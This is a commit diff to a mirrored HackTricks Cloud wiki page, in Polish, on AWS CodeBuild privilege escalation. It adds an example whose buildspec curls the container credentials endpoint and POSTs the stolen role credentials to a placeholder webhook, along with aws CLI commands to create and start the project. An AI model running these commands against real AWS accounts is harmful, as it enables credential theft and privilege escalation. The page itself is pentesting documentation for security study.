mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM Codebuild** poprzez utworzenie działającej.
|
||||
Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM codebuild** poprzez utworzenie działającej.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -133,11 +133,45 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Example3" }}
|
||||
```bash
|
||||
# Generated by ex16x41, tested
|
||||
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
|
||||
|
||||
{
|
||||
"name": "user-project-1",
|
||||
"source": {
|
||||
"type": "NO_SOURCE",
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL"
|
||||
},
|
||||
"serviceRole": "ARN-OF-TARGET-ROLE"
|
||||
}
|
||||
|
||||
# Create a new CodeBuild project with the hook.json file
|
||||
aws codebuild create-project --cli-input-json file:///tmp/hook.json
|
||||
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name user-project-1
|
||||
|
||||
# Get Credentials output to webhook address
|
||||
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
|
||||
|
||||
> [!WARNING]
|
||||
> W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**.
|
||||
@@ -184,7 +218,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli AWS Codebuild.
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
@@ -264,7 +298,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
|
||||
|
||||
### SSM
|
||||
|
||||
@@ -285,7 +319,7 @@ A następnie:
|
||||
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
|
||||
aws ssm start-session --target <sessionTarget> --region <region>
|
||||
```
|
||||
Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user